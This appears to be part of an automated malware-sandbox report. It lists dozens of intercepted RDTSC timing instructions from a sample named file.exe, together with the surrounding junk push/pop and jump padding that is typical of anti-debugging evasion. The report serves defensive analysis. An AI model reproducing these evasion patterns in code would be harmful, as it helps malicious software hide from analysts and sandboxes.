Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 94A459 second address: 94A45D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 94A599 second address: 94A59D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 94A59D second address: 94A5A3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 94A807 second address: 94A80B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 94A80B second address: 94A81B instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 je 00007F1364D027A8h 0x0000000e push edx 0x0000000f pop edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 94A81B second address: 94A821 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 94A976 second address: 94A97A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 94A97A second address: 94A994 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1364F5E24Ah 0x00000007 js 00007F1364F5E246h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 push edi 0x00000013 pop edi 0x00000014 pop edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 94A994 second address: 94A9B5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1364D027B1h 0x00000007 push eax 0x00000008 push edx 0x00000009 jbe 00007F1364D027A6h 0x0000000f jng 00007F1364D027A6h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 94AB41 second address: 94AB68 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 popad 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F1364F5E254h 0x0000000f pushad 0x00000010 jnp 00007F1364F5E246h 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 94AB68 second address: 94AB6D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 95223A second address: 952244 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007F1364F5E246h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 952244 second address: 95227C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1364D027B7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007F1364D027B5h 0x0000000e push eax 0x0000000f push edx 0x00000010 ja 00007F1364D027A6h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 95227C second address: 952291 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1364F5E251h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 952291 second address: 9522AE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 ja 00007F1364D027B4h 0x0000000f push ebx 0x00000010 pop ebx 0x00000011 jmp 00007F1364D027ACh 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9522AE second address: 9522DD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F1364F5E257h 0x00000009 jmp 00007F1364F5E254h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 95244C second address: 952450 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 952B51 second address: 952B55 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 952B55 second address: 952B7D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F1364D027B4h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jmp 00007F1364D027AEh 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 952E1C second address: 952E36 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1364F5E24Dh 0x00000007 jo 00007F1364F5E246h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push ecx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 952FBA second address: 952FC0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 952FC0 second address: 952FD8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F1364F5E251h 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 952FD8 second address: 952FEE instructions: 0x00000000 rdtsc 0x00000002 jl 00007F1364D027AEh 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a jbe 00007F1364D027A6h 0x00000010 push eax 0x00000011 push edx 0x00000012 push edi 0x00000013 pop edi 0x00000014 push edx 0x00000015 pop edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9597C8 second address: 9597DB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1364F5E24Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9597DB second address: 9597E0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9597E0 second address: 9597E8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9597E8 second address: 9597FF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b jc 00007F1364D027A6h 0x00000011 ja 00007F1364D027A6h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9597FF second address: 95980E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1364F5E24Bh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 95980E second address: 959814 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 959814 second address: 95981E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jc 00007F1364F5E246h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 968488 second address: 968492 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F1364D027B2h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 968492 second address: 968498 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 969E20 second address: 969E26 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 969E26 second address: 969E2A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 969E2A second address: 969E32 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 969E32 second address: 969E3B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edi 0x00000004 pop edi 0x00000005 pop eax 0x00000006 push esi 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 969E3B second address: 969E51 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pop edx 0x00000006 pop eax 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a jnc 00007F1364D027A6h 0x00000010 ja 00007F1364D027A6h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 969E51 second address: 969E55 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 969E55 second address: 969E6C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jg 00007F1364D027ACh 0x0000000e push ecx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 96C106 second address: 96C134 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jmp 00007F1364F5E258h 0x0000000a jbe 00007F1364F5E246h 0x00000010 pushad 0x00000011 popad 0x00000012 popad 0x00000013 ja 00007F1364F5E24Ch 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 96C2A1 second address: 96C2B2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 jnl 00007F1364D027ACh 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 96C2B2 second address: 96C2B8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 96C2B8 second address: 96C2BC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 96C2BC second address: 96C2C2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 97216A second address: 972177 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 popad 0x00000007 pop ebx 0x00000008 push ebx 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 972177 second address: 97217D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 97217D second address: 972187 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F1364D027A6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 979A15 second address: 979A1B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 979894 second address: 97989A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 97989A second address: 9798B7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jo 00007F1364F5E246h 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 jmp 00007F1364F5E24Ch 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 97BC49 second address: 97BC4E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9821DD second address: 9821F2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 jmp 00007F1364F5E24Ah 0x0000000a pop ebx 0x0000000b push ebx 0x0000000c push eax 0x0000000d push edx 0x0000000e push esi 0x0000000f pop esi 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9821F2 second address: 9821F6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 98231B second address: 982321 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9833EA second address: 9833F0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9833F0 second address: 9833F4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 98612F second address: 986139 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F1364D027A6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 986139 second address: 986161 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 pushad 0x00000008 push edx 0x00000009 push edx 0x0000000a pop edx 0x0000000b pop edx 0x0000000c jmp 00007F1364F5E252h 0x00000011 push eax 0x00000012 push edx 0x00000013 jns 00007F1364F5E246h 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 986161 second address: 986165 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 986165 second address: 98616B instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 988453 second address: 98845D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007F1364D027A6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 98845D second address: 988461 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 988461 second address: 98847A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F1364D027B3h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 98847A second address: 988481 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 988481 second address: 9884BB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F1364D027B8h 0x00000012 jnc 00007F1364D027B5h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9884BB second address: 9884CC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F1364F5E24Dh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9884CC second address: 9884F0 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F1364D027A6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a js 00007F1364D027BEh 0x00000010 jmp 00007F1364D027B2h 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 98B507 second address: 98B525 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F1364F5E255h 0x00000009 popad 0x0000000a push esi 0x0000000b pushad 0x0000000c popad 0x0000000d pop esi 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 98B525 second address: 98B541 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1364D027B5h 0x00000007 push edi 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 998162 second address: 9981A7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1364F5E254h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jne 00007F1364F5E24Eh 0x00000011 jp 00007F1364F5E25Dh 0x00000017 jne 00007F1364F5E246h 0x0000001d jmp 00007F1364F5E251h 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9981A7 second address: 9981B7 instructions: 0x00000000 rdtsc 0x00000002 je 00007F1364D027B2h 0x00000008 jbe 00007F1364D027A6h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 99B916 second address: 99B920 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F1364F5E246h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 99B920 second address: 99B92A instructions: 0x00000000 rdtsc 0x00000002 jl 00007F1364D027AEh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9A8C7A second address: 9A8C86 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 jne 00007F1364F5E246h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9B890A second address: 9B8932 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 jmp 00007F1364D027B9h 0x0000000a jp 00007F1364D027AEh 0x00000010 push esi 0x00000011 pop esi 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9B8E8E second address: 9B8EAE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007F1364F5E246h 0x0000000a jmp 00007F1364F5E24Bh 0x0000000f push esi 0x00000010 pop esi 0x00000011 popad 0x00000012 push eax 0x00000013 je 00007F1364F5E246h 0x00000019 pop eax 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9B8EAE second address: 9B8EBA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 jns 00007F1364D027A6h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9B8EBA second address: 9B8EBE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9B9061 second address: 9B9067 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9B9067 second address: 9B906B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9B906B second address: 9B906F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9B906F second address: 9B9075 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9B9198 second address: 9B919E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9BC1F1 second address: 9BC1F6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9BC1F6 second address: 9BC1FC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9BC2E1 second address: 9BC2E6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9BC2E6 second address: 9BC331 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F1364D027ACh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov eax, dword ptr [esp+04h] 0x0000000e jmp 00007F1364D027B1h 0x00000013 mov eax, dword ptr [eax] 0x00000015 jnl 00007F1364D027B5h 0x0000001b mov dword ptr [esp+04h], eax 0x0000001f push eax 0x00000020 push edx 0x00000021 pushad 0x00000022 jns 00007F1364D027A6h 0x00000028 push eax 0x00000029 push edx 0x0000002a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9BC331 second address: 9BC336 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 529050C second address: 5290512 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5290512 second address: 529052B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1364F5E24Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 529052B second address: 5290532 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop eax 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5290532 second address: 52905C1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F1364F5E250h 0x00000008 pushfd 0x00000009 jmp 00007F1364F5E252h 0x0000000e sbb ch, 00000058h 0x00000011 jmp 00007F1364F5E24Bh 0x00000016 popfd 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a push eax 0x0000001b jmp 00007F1364F5E259h 0x00000020 xchg eax, ebp 0x00000021 pushad 0x00000022 pushfd 0x00000023 jmp 00007F1364F5E24Ch 0x00000028 sbb ah, FFFFFFE8h 0x0000002b jmp 00007F1364F5E24Bh 0x00000030 popfd 0x00000031 mov di, cx 0x00000034 popad 0x00000035 mov ebp, esp 0x00000037 jmp 00007F1364F5E252h 0x0000003c pop ebp 0x0000003d push eax 0x0000003e push edx 0x0000003f push eax 0x00000040 push edx 0x00000041 pushad 0x00000042 popad 0x00000043 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52905C1 second address: 52905C5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52905C5 second address: 52905CB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52905F9 second address: 5290631 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1364D027B2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a jmp 00007F1364D027B0h 0x0000000f push eax 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F1364D027AEh 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5290631 second address: 5290643 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F1364F5E24Eh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5290643 second address: 529066C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1364D027ABh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F1364D027B5h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5290D8D second address: 5290DE3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push ebx 0x00000006 pushad 0x00000007 mov si, D427h 0x0000000b mov ecx, 0EC98BC3h 0x00000010 popad 0x00000011 mov dword ptr [esp], ebp 0x00000014 jmp 00007F1364F5E256h 0x00000019 mov ebp, esp 0x0000001b pushad 0x0000001c jmp 00007F1364F5E24Eh 0x00000021 movzx esi, di 0x00000024 popad 0x00000025 push dword ptr [ebp+04h] 0x00000028 jmp 00007F1364F5E24Dh 0x0000002d push dword ptr [ebp+0Ch] 0x00000030 pushad 0x00000031 push eax 0x00000032 push eax 0x00000033 push edx 0x00000034 rdtsc
